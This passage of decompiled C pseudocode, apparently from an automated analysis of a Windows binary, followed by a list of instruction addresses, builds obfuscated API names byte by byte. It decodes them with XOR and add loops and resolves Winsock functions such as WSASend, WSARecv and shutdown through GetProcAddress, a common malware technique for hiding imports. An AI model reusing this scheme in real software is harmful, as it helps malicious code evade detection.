													 *((char*)(_t1108 + _t932 + 0x6c)) =  *((intOrPtr*)(_t1108 + _t932 + 0x6c)) +  *((intOrPtr*)(_t1108 + _t932 + 0x10));
													 *((char*)(_t1108 + _t932 + 0x6d)) =  *((intOrPtr*)(_t1108 + _t932 + 0x6d)) +  *((intOrPtr*)(_t1108 + _t932 + 0x11));
													 *((char*)(_t1108 + _t932 + 0x6e)) =  *((intOrPtr*)(_t1108 + _t932 + 0x6e)) +  *((intOrPtr*)(_t1108 + _t932 + 0x12));
													 *((char*)(_t1108 + _t932 + 0x6f)) =  *((intOrPtr*)(_t1108 + _t932 + 0x6f)) +  *((intOrPtr*)(_t1108 + _t932 + 0x13));
													 *((char*)(_t1108 + _t932 + 0x70)) =  *((intOrPtr*)(_t1108 + _t932 + 0x70)) +  *((intOrPtr*)(_t1108 + _t932 + 0x14));
													 *((char*)(_t1108 + _t932 + 0x71)) =  *((intOrPtr*)(_t1108 + _t932 + 0x71)) +  *((intOrPtr*)(_t1108 + _t932 + 0x15));
													_t932 = _t932 + 6;
												} while (_t932 < 0xc);
												_t934 = GetProcAddress(_t1096,  &_v232);
												 *0x431ec4 = _t934;
												if(_t934 == 0) {
													goto L5;
												} else {
													_v136 = 0x73;
													_v135 = 0x68;
													_v134 = 0x75;
													_v133 = 0x74;
													_v132 = 0x64;
													_v131 = 0x6f;
													_v130 = 0x77;
													_v129 = 0x6e;
													_v128 = 0;
													_t935 = GetProcAddress(_t1096,  &_v136);
													 *0x431ec8 = _t935;
													if(_t935 == 0) {
														goto L5;
													} else {
														_v200 = 0x54;
														_v199 = 0x4f;
														_v198 = 8;
														_v197 = 0xf8;
														_v196 = 0xc4;
														_v195 = 0x66;
														_v194 = 0x8f;
														_v193 = 0x52;
														_v192 = 0xeb;
														_v191 = 0x7a;
														_v190 = 0xee;
														_v324 = 0x1f;
														_v323 = 0x16;
														_v322 = 0x6c;
														_v321 = 0x7b;
														_v320 = 0xab;
														_v319 = 0xfd;
														_v318 = 0xdc;
														_v317 = 0x1d;
														_v316 = 0x85;
														_v315 = 0xfa;
														_v314 = 0x12;
														_t936 = 0;
														do {
															 *((char*)(_t1108 + _t936 + 0x8c)) =  *((intOrPtr*)(_t1108 + _t936 + 0x8c)) +  *((intOrPtr*)(_t1108 + _t936 + 0x10));
															_t936 = _t936 + 1;
														} while (_t936 < 0xb);
														_t938 = GetProcAddress(_t1096,  &_v200);
														 *0x431ecc = _t938;
														if(_t938 == 0) {
															goto L5;
														} else {
															_v244 = 0xb9;
															_v243 = 0xf6;
															_v242 = 6;
															_v241 = 0x72;
															_v240 = 0x49;
															_v239 = 0x70;
															_v238 = 0xbe;
															_v237 = 0x82;
															_v236 = 0xfb;
															_v235 = 0x80;
															_v234 = 0xa9;
															_v324 = 0x9e;
															_v323 = 0x5d;
															_v322 = 0x3b;
															_v321 = 0xe1;
															_v320 = 0x26;
															_v319 = 0xf3;
															_v318 = 0xad;
															_v317 = 0xe3;
															_v316 = 0x79;
															_v315 = 0xc1;
															_v314 = 0x57;
															_t939 = 0;
															do {
																 *((char*)(_t1108 + _t939 + 0x60)) =  *((intOrPtr*)(_t1108 + _t939 + 0x60)) +  *((intOrPtr*)(_t1108 + _t939 + 0x10));
																_t939 = _t939 + 1;
															} while (_t939 < 0xb);
															_t940 = GetProcAddress(_t1096,  &_v244);
															 *0x431ed0 = _t940;
															if(_t940 == 0) {
																goto L5;
															} else {
																_v284 = 0x2b;
																_v283 = 0xa5;
																_v282 = 0x80;
																_v281 = 0x7e;
																_v280 = 0xca;
																_v279 = 0xf;
																_v278 = 0xb;
																_v277 = 0x1f;
																_v276 = 0x5c;
																_v275 = 0xc2;
																_v274 = 0xe0;
																_v273 = 0xd6;
																_v272 = 0x70;
																_v271 = 0xb6;
																_v270 = 0x5e;
																_v269 = 0x13;
																_v324 = 0x2c;
																_v323 = 0xae;
																_v322 = 0xc1;
																_v321 = 0xc9;
																_v320 = 0x9b;
																_v319 = 0x65;
																_v318 = 0x41;
																_v317 = 0x42;
																_v316 = 0x17;
																_v315 = 0xb2;
																_v314 = 0x65;
																_v313 = 0x9c;
																_v312 = 2;
																_v311 = 0xb9;
																_v310 = 0x14;
																_v309 = 0xed;
																_t941 = 0;
																do {
																	 *((char*)(_t1108 + _t941 + 0x38)) =  *((intOrPtr*)(_t1108 + _t941 + 0x38)) +  *((intOrPtr*)(_t1108 + _t941 + 0x10));
																	 *((char*)(_t1108 + _t941 + 0x39)) =  *((intOrPtr*)(_t1108 + _t941 + 0x39)) +  *((intOrPtr*)(_t1108 + _t941 + 0x11));
																	 *((char*)(_t1108 + _t941 + 0x3a)) =  *((intOrPtr*)(_t1108 + _t941 + 0x3a)) +  *((intOrPtr*)(_t1108 + _t941 + 0x12));
																	 *((char*)(_t1108 + _t941 + 0x3b)) =  *((intOrPtr*)(_t1108 + _t941 + 0x3b)) +  *((intOrPtr*)(_t1108 + _t941 + 0x13));
																	_t941 = _t941 + 4;
																} while (_t941 < 0x10);
																_t943 = GetProcAddress(_t1096,  &_v284);
																 *0x431ed4 = _t943;
																if(_t943 == 0) {
																	goto L5;
																} else {
																	_v311 = 9;
																	_v310 = 9;
																	_push(0xf);
																	_push( &_v264);
																	_v264 = 0x5e;
																	_v263 = 0x5a;
																	_v262 = 0xc7;
																	_v261 = 0xbb;
																	_v260 = 0xc4;
																	_v259 = 1;
																	_v258 = 0x7d;
																	_v257 = 0xfc;
																	_v256 = 0x43;
																	_v255 = 7;
																	_v254 = 0x17;
																	_v253 = 0xb6;
																	_v252 = 0xfd;
																	_v251 = 0xa2;
																	_v250 = 0x37;
																	_v324 = 0x37;
																	_v323 = 0xd6;
																	_v322 = 0x93;
																	_v321 = 0xd3;
																	_v320 = 0x61;
																	_v319 = 0x42;
																	_v318 = 0x26;
																	_v317 = 0x88;
																	_v316 = 0x1c;
																	_v315 = 0x64;
																	_v314 = 0xb6;
																	_v313 = 0xf8;
																	_v312 = 0x86;
																	_t946 = E0041C580( &_v324);
																	_t1109 = _t1108 + 8;
																	_t947 = GetProcAddress(_t1096, _t946);
																	 *0x431ed8 = _t947;
																	if(_t947 == 0) {
																		goto L5;
																	} else {
																		_v220 = 0x83;
																		_v219 = 0x87;
																		_v218 = 0x95;
																		_v217 = 0x91;
																		_v216 = 0xa2;
																		_v215 = 0xb1;
																		_v214 = 0xba;
																		_v213 = 0xa0;
																		_v212 = 0x87;
																		_v211 = 0xb1;
																		_v210 = 0xb8;
																		_v209 = 0xb1;
																		_v208 = 0xb7;
																		_v207 = 0xa0;
																		_v206 = 0xd4;
																		_t948 = 0;
																		do {
																			 *(_t1109 + _t948 + 0x78) =  *(_t1109 + _t948 + 0x78) ^ 0x000000d4;
																			_t948 = _t948 + 1;
																		} while (_t948 < 0xf);
																		_t949 = GetProcAddress(_t1096,  &_v220);
																		 *0x431edc = _t949;
																		if(_t949 == 0) {
																			goto L5;
																		} else {
																			_v300 = 8;
																			_v299 = 0x8c;
																			_v298 = 0x1d;
																			_v297 = 0x29;
																			_v296 = 0xc0;
																			_v295 = 0x16;
																			_v294 = 3;
																			_v293 = 0xf4;
																			_v292 = 0xb4;
																			_v291 = 0x2a;
																			_v290 = 0x12;
																			_v324 = 0xe1;
																			_v323 = 0xb6;
																			_v322 = 0xe5;
																			_v321 = 0xa4;
																			_v320 = 0xe7;
																			_v319 = 0x88;
																			_v318 = 0xe6;
																			_v317 = 0x88;
																			_v316 = 0xed;
																			_v315 = 0x8e;
																			_v314 = 0xfa;
																			_t951 = E0041C4C0( &_v324, 0xb,  &_v300);
																			_t1110 = _t1109 + 4;
																			_t952 = GetProcAddress(_t1096, _t951);
																			 *0x431ee0 = _t952;
																			if(_t952 == 0) {
																				goto L5;
																			} else {
																				_v104 = 0x32;
																				_v103 = 0xe1;
																				_v102 = 0x4c;
																				_v101 = 0x72;
																				_v100 = 0x9c;
																				_v99 = 0xa5;
																				_v98 = 0x1d;
																				_v97 = 0xd6;
																				_v96 = 0xf8;
																				_v95 = 0xc1;
																				_v94 = 0x42;
																				_v93 = 0xbe;
																				_v92 = 0xe2;
																				_v91 = 0x35;
																				_v90 = 0x94;
																				_v89 = 0xed;
																				_v88 = 0xd8;
																				_v87 = 0x5c;
																				_v86 = 0xbe;
																				_v85 = 0xe3;
																				_v84 = 0x29;
																				_v324 = 0x65;
																				_v323 = 0xb2;
																				_v322 = 0xd;
																				_v321 = 0x37;
																				_v320 = 0xf2;
																				_v319 = 0xd0;
																				_v318 = 0x70;
																				_v317 = 0x98;
																				_v316 = 0x9d;
																				_v315 = 0xb5;
																				_v314 = 0x35;
																				_v313 = 0xd1;
																				_v312 = 0x90;
																				_v311 = 0x5e;
																				_v310 = 0xd1;
																				_v309 = 0x9b;
																				_v308 = 0xbd;
																				_v307 = 0x32;
																				_v306 = 0xca;
																				_v305 = 0x90;
																				_v304 = 0x29;
																				_t953 = 0;
																				do {
																					 *(_t1110 + _t953 + 0xec) =  *(_t1110 + _t953 + 0xec) ^  *(_t1110 + _t953 + 0x10);
																					 *(_t1110 + _t953 + 0xed) =  *(_t1110 + _t953 + 0xed) ^  *(_t1110 + _t953 + 0x11);
																					 *(_t1110 + _t953 + 0xee) =  *(_t1110 + _t953 + 0xee) ^  *(_t1110 + _t953 + 0x12);
																					_t953 = _t953 + 3;
																				} while (_t953 < 0x15);
																				_t954 = GetProcAddress(_t1096,  &_v104);
																				 *0x431ee4 = _t954;
																				if(_t954 == 0) {
																					goto L5;
																				} else {
																					_push(0xe);
																					_push( &_v124);
																					_v124 = 0x23;
																					_v123 = 0x93;
																					_v122 = 0x35;
																					_v121 = 0xe2;
																					_v120 = 0x14;
																					_v119 = 0xc4;
																					_v118 = 0xca;
																					_v117 = 0x89;
																					_v116 = 0x5f;
																					_v115 = 0xd1;
																					_v114 = 0x4b;
																					_v113 = 0x12;
																					_v112 = 0x74;
																					_v111 = 6;
																					_v324 = 6;
																					_v323 = 0;
																					_v322 = 0x7c;
																					_v321 = 0x2e;
																					_v320 = 0xa7;
																					_v319 = 0x1a;
																					_v318 = 0xec;
																					_v317 = 0xb9;
																					_v316 = 0xab;
																					_v315 = 0x78;
																					_v314 = 0xa1;
																					_v313 = 0x74;
																					_v312 = 0xc0;
																					_v311 = 0x74;
																					_t957 = E0041C580( &_v324);
																					_t1111 = _t1110 + 8;
																					_t958 = GetProcAddress(_t1096, _t957);
																					 *0x431ee8 = _t958;
																					if(_t958 == 0) {
																						goto L5;
																					} else {
																						_v36 = 0x57;
																						_v35 = 0x53;
																						_v34 = 0x41;
																						_v33 = 0x52;
																						_v32 = 0x65;
																						_v31 = 0x63;
																						_v30 = 0x76;
																						_v29 = 0;
																						_t959 = GetProcAddress(_t1096,  &_v36);
																						 *0x431eec = _t959;
																						if(_t959 == 0) {
																							goto L5;
																						} else {
																							_v28 = 0x57;
																							_v27 = 0x53;
																							_v26 = 0x41;
																							_v25 = 0x53;
																							_v24 = 0x65;
																							_v23 = 0x6e;
																							_v22 = 0x64;
																							_v21 = 0;
																							_t960 = GetProcAddress(_t1096,  &_v28);
																							 *0x431ef0 = _t960;
																							if(_t960 == 0) {
																								goto L5;
																							} else {
																								_v151 = 0x90;
																								_v164 = 0x6b;
																								_v163 = 0x54;
																								_v162 = 0x51;
																								_v161 = 0xe0;
																								_v160 = 0xe1;
																								_v159 = 0x4a;
																								_v158 = 0x93;
																								_v157 = 0x9e;
																								_v156 = 0x41;
																								_v155 = 0x69;
																								_v154 = 0xf9;
																								_v153 = 0xc8;
																								_v152 = 0x34;
																								_v150 = 0xf0;
																								_v149 = 0x34;
																								_v148 = 0x34;
																								_v147 = 0xbc;
																								_v146 = 0x28;
																								_v145 = 0xac;
																								_v144 = 0xd;
																								_v143 = 0x2d;
																								_v142 = 0xa6;
																								_v324 = 0x3c;
																								_v323 = 7;
																								_v322 = 0x10;
																								_v321 = 0xa7;
																								_v320 = 0x84;
																								_v319 = 0x3e;
																								_v318 = 0xdc;
																								_v317 = 0xe8;
																								_v316 = 0x24;
																								_v315 = 0x1b;
																								_v314 = 0x95;
																								_v313 = 0xa9;
																								_v312 = 0x44;
																								_v311 = 0xe0;
																								_v310 = 0x95;
																								_v309 = 0x50;
																								_v308 = 0x66;
																								_v307 = 0xd9;
																								_v306 = 0x5b;
																								_v305 = 0xd9;
																								_v304 = 0x61;
																								_v303 = 0x59;
																								_v302 = 0xa6;
																								_t961 = 0;
																								do {
																									 *(_t1111 + _t961 + 0xb0) =  *(_t1111 + _t961 + 0xb0) ^  *(_t1111 + _t961 + 0x10);
																									_t961 = _t961 + 1;
																								} while (_t961 < 0x17);
																								_t962 = GetProcAddress(_t1096,  &_v164);
																								 *0x431ef4 = _t962;
																								if(_t962 == 0) {
																									goto L5;
																								} else {
																									_v232 = 0x53;
																									_v231 = 0x8b;
																									_v230 = 0xbe;
																									_v229 = 0xec;
																									_v228 = 0xbe;
																									_v227 = 0x6c;
																									_v226 = 0x99;
																									_v225 = 0x48;
																									_v224 = 0x4e;
																									_v223 = 0x30;
																									_v222 = 0x6a;
																									_v221 = 0xa4;
																									_v300 = 0x21;
																									_v299 = 0x76;
																									_v298 = 0x1f;
																									_v297 = 0x71;
																									_v296 = 0x18;
																									_v295 = 0x76;
																									_v294 = 0x13;
																									_v293 = 0x67;
																									_v292 = 0x49;
																									_v291 = 0x2d;
																									_v290 = 0x41;
																									_v289 = 0x2d;
																									_t964 = E0041C4C0( &_v300, 0xc,  &_v232);
																									_t1112 = _t1111 + 4;
																									_t1097 = LoadLibraryA(_t964);
																									_t966 = 0;
																									if(_t1097 == 0) {
																										L63:
																										return E00424873(_t966, _v4);
																									} else {
																										_v164 = 0xd3;
																										_v163 = 0xf4;
																										_v162 = 0xee;
																										_v161 = 0xff;
																										_v160 = 0xe8;
																										_v159 = 0xf4;
																										_v158 = 0xff;
																										_v157 = 0xee;
																										_v156 = 0xdd;
																										_v155 = 0xff;
																										_v154 = 0xee;
																										_v153 = 0xd9;
																										_v152 = 0xf5;
																										_v151 = 0xf4;
																										_v150 = 0xf4;
																										_v149 = 0xff;
																										_v148 = 0xf9;
																										_v147 = 0xee;
																										_v146 = 0xff;
																										_v145 = 0xfe;
																										_v144 = 0xc9;
																										_v143 = 0xee;
																										_v142 = 0xfb;
																										_v141 = 0xee;
																										_v140 = 0xff;
																										_v139 = 0x9a;
																										do {
																											 *(_t1112 + _t966 + 0xb0) =  *(_t1112 + _t966 + 0xb0) ^ 0x0000009a;
																											_t966 = _t966 + 1;
																										} while (_t966 < 0x1a);
																										_t968 = GetProcAddress(_t1097,  &_v164);
																										 *0x431ef8 = _t968;
																										if(_t968 == 0) {
																											goto L5;
																										} else {
																											_v300 = 0xec;
																											_v299 = 0xcb;
																											_v298 = 0xd1;
																											_v297 = 0xc0;
																											_v296 = 0xd7;
																											_v295 = 0xcb;
																											_v294 = 0xc0;
																											_v293 = 0xd1;
																											_v292 = 0xea;
																											_v291 = 0xd5;
																											_v290 = 0xc0;
																											_v289 = 0xcb;
																											_v288 = 0xe4;
																											_v287 = 0xa5;
																											_t969 = 0;
																											do {
																												 *(_t1112 + _t969 + 0x28) =  *(_t1112 + _t969 + 0x28) ^ 0x000000a5;
																												_t969 = _t969 + 1;
																											} while (_t969 < 0xe);
																											_t970 = GetProcAddress(_t1097,  &_v300);
																											 *0x431efc = _t970;
																											if(_t970 == 0) {
																												goto L5;
																											} else {
																												_v284 = 0xa3;
																												_v283 = 0x84;
																												_v282 = 0x9e;
																												_v281 = 0x8f;
																												_v280 = 0x98;
																												_v279 = 0x84;
																												_v278 = 0x8f;
																												_v277 = 0x9e;
																												_v276 = 0xa5;
																												_v275 = 0x9a;
																												_v274 = 0x8f;
																												_v273 = 0x84;
																												_v272 = 0xbf;
																												_v271 = 0x98;
																												_v270 = 0x86;
																												_v269 = 0xab;
																												_v268 = 0xea;
																												_t971 = 0;
																												do {
																													 *(_t1112 + _t971 + 0x38) =  *(_t1112 + _t971 + 0x38) ^ 0x000000ea;
																													_t971 = _t971 + 1;
																												} while (_t971 < 0x11);
																												_t973 = GetProcAddress(_t1097,  &_v284);
																												 *0x431f00 = _t973;
																												if(_t973 == 0) {
																													goto L5;
																												} else {
																													_v264 = 0x88;
																													_v263 = 0x43;
																													_v262 = 0xfc;
																													_v261 = 0x99;
																													_v260 = 0xa6;
																													_v259 = 0x58;
																													_v258 = 0x6a;
																													_v257 = 0xe2;
																													_v256 = 0xbe;
																													_v255 = 0x9f;
																													_v254 = 0x20;
																													_v253 = 0xed;
																													_v252 = 0x35;
																													_v251 = 0xb4;
																													_v250 = 0x34;
																													_v249 = 0xfa;
																													_v248 = 0xe7;
																													_v220 = 0xc1;
																													_v219 = 0x2b;
																													_v218 = 0x78;
																													_v217 = 0xcc;
																													_v216 = 0xcc;
																													_v215 = 0x16;
																													_v214 = 0xfb;
																													_v213 = 0x92;
																													_v212 = 0x94;
																													_v211 = 0xc6;
																													_v210 = 0x41;
																													_v209 = 0x77;
																													_v208 = 0x11;
																													_v207 = 0xb5;
																													_v206 = 0x38;
																													_v205 = 0x6b;
																													_v204 = 0x19;
																													_t974 = 0;
																													do {
																														 *((char*)(_t1112 + _t974 + 0x4c)) =  *((intOrPtr*)(_t1112 + _t974 + 0x4c)) +  *((intOrPtr*)(_t1112 + _t974 + 0x78));
																														_t974 = _t974 + 1;
																													} while (_t974 < 0x11);
																													_t975 = GetProcAddress(_t1097,  &_v264);
																													 *0x431f04 = _t975;
																													if(_t975 == 0) {
																														goto L5;
																													} else {
																														_v120 = 0x56;
																														_v210 = 0x56;
																														_v124 = 6;
																														_v123 = 0x36;
																														_v122 = 0xb9;
																														_v121 = 0x60;
																														_v119 = 1;
																														_v118 = 0x32;
																														_v117 = 0x3e;
																														_v116 = 0xcb;
																														_v115 = 0x26;
																														_v114 = 0xf;
																														_v113 = 0xa5;
																														_v112 = 1;
																														_v111 = 0xa3;
																														_v110 = 0x3c;
																														_v109 = 0xd2;
																														_v108 = 0x72;
																														_v107 = 0x9f;
																														_v106 = 0x9a;
																														_v105 = 0xed;
																														_v220 = 0x42;
																														_v219 = 0xb;
																														_v218 = 0x65;
																														_v217 = 0x11;
																														_v216 = 0x74;
																														_v215 = 6;
																														_v214 = 0x68;
																														_v213 = 0xd;
																														_v212 = 0x79;
																														_v211 = 0x3a;
																														_v209 = 0x39;
																														_v208 = 0x4a;
																														_v207 = 0x2f;
																														_v206 = 0x67;
																														_v205 = 6;
																														_v204 = 0x68;
																														_v203 = 0xc;
																														_v202 = 0x60;
																														_v201 = 5;
																														_t978 = E0041C4C0( &_v220, 0x14,  &_v124);
																														_t1113 = _t1112 + 4;
																														_t979 = GetProcAddress(_t1097, _t978);
																														 *0x431f08 = _t979;
																														if(_t979 == 0) {
																															goto L5;
																														} else {
																															_v244 = 0x40;
																															_v243 = 0xec;
																															_v242 = 0xfc;
																															_v241 = 0xa;
																															_v240 = 0xe1;
																															_v239 = 0x80;
																															_v238 = 0x93;
																															_v237 = 0xb7;
																															_v236 = 0xf4;
																															_v235 = 0xba;
																															_v234 = 0xb0;
																															_v300 = 0x24;
																															_v299 = 0x82;
																															_v298 = 0x77;
																															_v297 = 0x57;
																															_v296 = 0x8f;
																															_v295 = 0xe9;
																															_v294 = 0x9b;
																															_v293 = 0xad;
																															_v292 = 0x78;
																															_v291 = 0xb2;
																															_v290 = 0x50;
																															_t980 = 0;
																															do {
																																 *((char*)(_t1113 + _t980 + 0x60)) =  *((intOrPtr*)(_t1113 + _t980 + 0x60)) +  *((intOrPtr*)(_t1113 + _t980 + 0x28));
																																_t980 = _t980 + 1;
																															} while (_t980 < 0xb);
																															_t1098 = LoadLibraryA( &_v244);
																															_t966 = 0;
																															if(_t1098 == 0) {
																																goto L63;
																															} else {
																																_v200 = 0xce;
																																_v199 = 0xe4;
																																_v198 = 0xf9;
																																_v197 = 0xdb;
																																_v196 = 0xff;
																																_v195 = 0xef;
																																_v194 = 0xf8;
																																_v193 = 0xf3;
																																_v192 = 0xd5;
																																_v191 = 0xcb;
																																_v190 = 0x8a;
																																do {
																																	 *(_t1113 + _t966 + 0x8c) =  *(_t1113 + _t966 + 0x8c) ^ 0x0000008a;
																																	_t966 = _t966 + 1;
																																} while (_t966 < 0xb);
																																_t983 = GetProcAddress(_t1098,  &_v200);
																																 *0x431f0c = _t983;
																																if(_t983 == 0) {
																																	goto L5;
																																} else {
																																	_push(0x12);
																																	_push( &_v284);
																																	_v284 = 0x2b;
																																	_v283 = 0x7e;
																																	_v282 = 0x14;
																																	_v281 = 0xc5;
																																	_v280 = 0x31;
																																	_v279 = 0x22;
																																	_v278 = 0x49;
																																	_v277 = 0xdc;
																																	_v276 = 0xd8;
																																	_v275 = 0x8b;
																																	_v274 = 0xed;
																																	_v273 = 0x54;
																																	_v272 = 0xbb;
																																	_v271 = 0xba;
																																	_v270 = 0x48;
																																	_v269 = 0xbb;
																																	_v268 = 0xa1;
																																	_v267 = 0x26;
																																	_v264 = 0x26;
																																	_v263 = 0xc4;
																																	_v262 = 0xde;
																																	_v261 = 0x3a;
																																	_v260 = 0xfc;
																																	_v259 = 0xcf;
																																	_v258 = 0x27;
																																	_v257 = 0x84;
																																	_v256 = 0xc7;
																																	_v255 = 0xbc;
																																	_v254 = 0xae;
																																	_v253 = 0x26;
																																	_v252 = 0x41;
																																	_v251 = 0x54;
																																	_v250 = 0x97;
																																	_v249 = 0x67;
																																	_v248 = 0x10;
																																	_v247 = 0x6f;
																																	_t986 = GetProcAddress(_t1098, E0041C580( &_v264));
																																	 *0x431f10 = _t986;
																																	if(_t986 == 0) {
																																		goto L5;
																																	} else {
																																		_v300 = 0x6d;
																																		_v299 = 0x96;
																																		_v298 = 0x80;
																																		_v297 = 6;
																																		_v296 = 0xa9;
																																		_v295 = 0x60;
																																		_v294 = 0x53;
																																		_v293 = 0xb;
																																		_v292 = 0xec;
																																		_v291 = 0xb1;
																																		_v290 = 0xd3;
																																		_v176 = 0xc8;
																																		_v175 = 0x9d;
																																		_v174 = 0xee;
																																		_v173 = 0x8b;
																																		_v172 = 0xf9;
																																		_v171 = 0xca;
																																		_v170 = 0xf8;
																																		_v169 = 0xd6;
																																		_v168 = 0x92;
																																		_v167 = 0xde;
																																		_v166 = 0x92;
																																		_t1099 = LoadLibraryA(E0041C4C0( &_v176, 0xb,  &_v300));
																																		if(_t1099 == 0) {
																																			goto L5;
																																		} else {
																																			_push(0xa);
																																			_push( &_v188);
																																			_v188 = 0x37;
																																			_v187 = 0x3b;
																																			_v186 = 0x8f;
																																			_v185 = 0x69;
																																			_v184 = 0x24;
																																			_v183 = 0x7f;
																																			_v182 = 0x60;
																																			_v181 = 0xe9;
																																			_v180 = 0xec;
																																			_v179 = 0x4c;
																																			_v136 = 0x4c;
																																			_v135 = 0xad;
																																			_v134 = 0x8f;
																																			_v133 = 0x14;
																																			_v132 = 0x11;
																																			_v131 = 0x4d;
																																			_v130 = 0x1b;
																																			_v129 = 0xff;
																																			_v128 = 0x48;
																																			_v127 = 0x40;
																																			_t992 = GetProcAddress(_t1099, E0041C580( &_v136));
																																			 *0x431f14 = _t992;
																																			if(_t992 == 0) {
																																				goto L5;
																																			} else {
																																				_v284 = 0x75;
																																				_v283 = 6;
																																				_v282 = 0xcc;
																																				_v281 = 0x8b;
																																				_v280 = 0x4c;
																																				_v279 = 0xb8;
																																				_v278 = 0x36;
																																				_v277 = 0x4d;
																																				_v276 = 0x1e;
																																				_v275 = 0x53;
																																				_v274 = 0xb7;
																																				_v273 = 0x58;
																																				_v272 = 0xd4;
																																				_v271 = 0xa5;
																																				_v270 = 0xf1;
																																				_v269 = 0xd3;
																																				_v268 = 0x12;
																																				_v267 = 0x39;
																																				_v264 = 0x4a;
																																				_v263 = 0x19;
																																				_v262 = 0x7c;
																																				_v261 = 8;
																																				_v260 = 0x5f;
																																				_v259 = 0x36;
																																				_v258 = 0x58;
																																				_v257 = 0x3c;
																																				_v256 = 0x53;
																																				_v255 = 0x24;
																																				_v254 = 0x57;
																																				_v253 = 0x1f;
																																				_v252 = 0x70;
																																				_v251 = 0x1f;
																																				_v250 = 0x74;
																																				_v249 = 0x31;
																																				_v248 = 0x49;
																																				_v247 = 8;
																																				_t994 = GetProcAddress(_t1099, E0041C4C0( &_v264, 0x12,  &_v284));
																																				 *0x431f18 = _t994;
																																				_t966 = 0 | _t994 != 0x00000000;
																																				goto L63;
																																			}
																																		}
																																	}
																																}
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					} else {
						L5:
						return E00424873(0, _v4);
					}
				} else {
					return E00424873(_t913, _v4);
				}
			}

0x0041c660
0x0041c666
0x0041c66d
0x0041c674
0x0041c67c
0x0041c684
0x0041c68c
0x0041c694
0x0041c69c
0x0041c6a4
0x0041c6ac
0x0041c6b4
0x0041c6bc
0x0041c6c4
0x0041c6cc
0x0041c6d1
0x0041c6d6
0x0041c6db
0x0041c6e0
0x0041c6e5
0x0041c6ea
0x0041c6ef
0x0041c6f4
0x0041c6f9
0x0041c6fe
0x0041c703
0x0041c710
0x0041c71d
0x0041c724
0x0041c725
0x0041c73a
0x0041c73e
0x0041c75e
0x0041c760
0x0041c765
0x0041c76d
0x0041c775
0x0041c77d
0x0041c785
0x0041c78d
0x0041c795
0x0041c79d
0x0041c7a5
0x0041c7ad
0x0041c7b5
0x0041c7bd
0x0041c7c2
0x0041c7c7
0x0041c7cc
0x0041c7d1
0x0041c7d6
0x0041c7db
0x0041c7e0
0x0041c7e5
0x0041c7ea
0x0041c7ef
0x0041c7f4
0x0041c7ff
0x0041c804
0x0041c808
0x0041c80d
0x0041c831
0x0041c839
0x0041c841
0x0041c849
0x0041c851
0x0041c859
0x0041c861
0x0041c865
0x0041c86a
0x00000000
0x0041c86c
0x0041c875
0x0041c87d
0x0041c885
0x0041c88d
0x0041c895
0x0041c89d
0x0041c8a5
0x0041c8ad
0x0041c8b5
0x0041c8bd
0x0041c8c5
0x0041c8c9
0x0041c8ce
0x00000000
0x0041c8d4
0x0041c8d6
0x0041c8dd
0x0041c8e1
0x0041c8f6
0x0041c8fe
0x0041c906
0x0041c90e
0x0041c916
0x0041c91e
0x0041c926
0x0041c92e
0x0041c936
0x0041c93e
0x0041c946
0x0041c94e
0x0041c956
0x0041c95e
0x0041c963
0x0041c968
0x0041c96d
0x0041c972
0x0041c977
0x0041c97c
0x0041c981
0x0041c986
0x0041c98b
0x0041c990
0x0041c995
0x0041c99a
0x0041c99f
0x0041c9a4
0x0041c9a8
0x0041c9ad
0x00000000
0x0041c9b3
0x0041c9ba
0x0041c9be
0x0041c9c3
0x0041c9cb
0x0041c9d3
0x0041c9db
0x0041c9e3
0x0041c9eb
0x0041c9f3
0x0041c9fb
0x0041ca00
0x0041ca05
0x0041ca0a
0x0041ca0f
0x0041ca14
0x0041ca19
0x0041ca1d
0x0041ca22
0x0041ca27
0x0041ca2b
0x0041ca30
0x00000000
0x0041ca36
0x0041ca3f
0x0041ca47
0x0041ca4f
0x0041ca57
0x0041ca5f
0x0041ca67
0x0041ca6f
0x0041ca77
0x0041ca7f
0x0041ca83
0x0041ca88
0x00000000
0x0041ca8e
0x0041ca97
0x0041ca9f
0x0041caa7
0x0041caaf
0x0041cab7
0x0041cabf
0x0041cac3
0x0041cac8
0x00000000
0x0041cace
0x0041cace
0x0041cad3
0x0041cad8
0x0041cadd
0x0041cae2
0x0041cae7
0x0041caec
0x0041caf1
0x0041caf6
0x0041cafb
0x0041cb00
0x0041cb05
0x0041cb0a
0x0041cb0f
0x0041cb13
0x0041cb18
0x0041cb1d
0x0041cb22
0x0041cb27
0x0041cb2c
0x0041cb31
0x0041cb36
0x0041cb3b
0x0041cb40
0x0041cb45
0x0041cb50
0x0041cb5e
0x0041cb6c
0x0041cb7a
0x0041cb88
0x0041cb96
0x0041cba0
0x0041cba4
0x0041cba7
0x0041cbb2
0x0041cbb6
0x0041cbbb
0x00000000
0x0041cbc1
0x0041cbca
0x0041cbd2
0x0041cbda
0x0041cbe2
0x0041cbea
0x0041cbf2
0x0041cbfa
0x0041cc02
0x0041cc0a
0x0041cc12
0x0041cc16
0x0041cc1b
0x00000000
0x0041cc21
0x0041cc21
0x0041cc29
0x0041cc31
0x0041cc39
0x0041cc41
0x0041cc49
0x0041cc51
0x0041cc59
0x0041cc61
0x0041cc69
0x0041cc71
0x0041cc79
0x0041cc7e
0x0041cc83
0x0041cc88
0x0041cc8d
0x0041cc92
0x0041cc97
0x0041cc9c
0x0041cca1
0x0041cca6
0x0041ccab
0x0041ccb0
0x0041ccb2
0x0041ccbf
0x0041ccc6
0x0041ccc7
0x0041ccd5
0x0041ccd9
0x0041ccde
0x00000000
0x0041cce4
0x0041cce4
0x0041cce9
0x0041ccee
0x0041ccf3
0x0041ccf8
0x0041ccfd
0x0041cd02
0x0041cd07
0x0041cd0c
0x0041cd11
0x0041cd16
0x0041cd1b
0x0041cd20
0x0041cd24
0x0041cd29
0x0041cd2e
0x0041cd33
0x0041cd38
0x0041cd3d
0x0041cd42
0x0041cd47
0x0041cd4c
0x0041cd51
0x0041cd53
0x0041cd5d
0x0041cd61
0x0041cd62
0x0041cd6d
0x0041cd71
0x0041cd76
0x00000000
0x0041cd7c
0x0041cd7e
0x0041cd83
0x0041cd88
0x0041cd8d
0x0041cd92
0x0041cd97
0x0041cd9c
0x0041cda1
0x0041cda6
0x0041cdab
0x0041cdb0
0x0041cdb5
0x0041cdba
0x0041cdbf
0x0041cdc3
0x0041cdc8
0x0041cdcd
0x0041cdd2
0x0041cdd7
0x0041cddc
0x0041cde1
0x0041cde6
0x0041cdeb
0x0041cdf0
